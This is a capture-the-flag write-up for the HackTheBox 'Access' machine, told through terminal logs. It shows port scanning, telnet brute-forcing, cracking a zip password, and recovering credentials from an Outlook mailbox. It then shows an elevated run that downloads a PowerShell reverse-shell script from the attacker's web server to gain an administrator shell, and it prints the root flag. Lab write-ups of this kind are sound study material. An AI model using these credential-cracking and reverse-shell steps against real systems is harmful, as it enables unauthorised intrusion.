┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Access]
└─$ nmap -p- --min-rate 10000 $ip -Pn -vv
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack
23/tcp open telnet syn-ack
80/tcp open http syn-ack
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Access]
└─$ nmap -p21,23,80 $ip -sCV -oN Nmap/script-scan
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst:
|_ SYST: Windows_NT
23/tcp open telnet?
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: MegaCorp
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
* Open ports: 21 - 23 - 80
* UDP Open ports: None
* Services: FTP - TELNET - HTTP
* Versions:
* Important Notes:
Enumeration
HTTP The webapp didn't reveal anything except this image at http://10.10.10.98
FTP I'm used to downloading all files on ftp server by one command and explore them locally
I will try to telnet with these credentials since, there is no SMB protocol
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Access]
└─$ hydra -L users.lst -P passwords.list telnet://$ip
1 of 1 target completed, 0 valid password found
Initial Access
I remember that I couldn't crack the zip file, So I will try these passwords to decrypt the file
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Access]
└─$ john zip.hash --wordlist=passwords.list
<snip>
access4u@security (Access Control.zip/Access Control.pst)
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Access]
└─$ 7z x Access\ Control.zip
<snip>
Enter password (will not be echoed):
Everything is Ok
Size: 271360
Compressed: 10870
It revealed Access Control.pst file and I wanted to know what its type
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Access]
└─$ file Access\ Control.pst
Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e
It's Microsoft Outlook Personal Storage, I moved it to my windows host and opened it with outlook
It contains an email with the following data
Hi there,
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.
Regards,
John
So, We get a new credentials security:4Cc3ssC0ntr0ller and I will try it on telnet
This can be abused to run as admin with runas command.
Since we can't execute .exe files, I will try to execute .ps1 as administrator, So I grep Invoke-PowerShellTcp.ps1 from my host, start webserver & nc listener and execute the command as administrator
We must add this line before executing the shell to Invoke-PowerShellTcp.ps1
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Access]
└─$ web-server
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.98 - - [08/Jul/2024 05:31:42] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Access]
└─$ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.98] 49161
PS C:\Windows\system32>whoami
access\administrator
PS C:\Windows\system32> cd C:\Users\administrator\Desktop\
PS C:\Users\administrator\Desktop> type root.txt
066b2ca40b4ab07b4387c6e4fe06bc32
Root Flag: 066b2ca40b4ab07b4387c6e4fe06bc32
Alternative path
Since the administrator credentials is stored in security user session, We can get the credentials by decrypting DPAPI secrets
We must have two files masterkey & credentials and there are located in current user directory under C:\Users\Security\AppData\Roaming\Microsoft\ but hidden.
I personally use ls with -Force flag to list hidden files
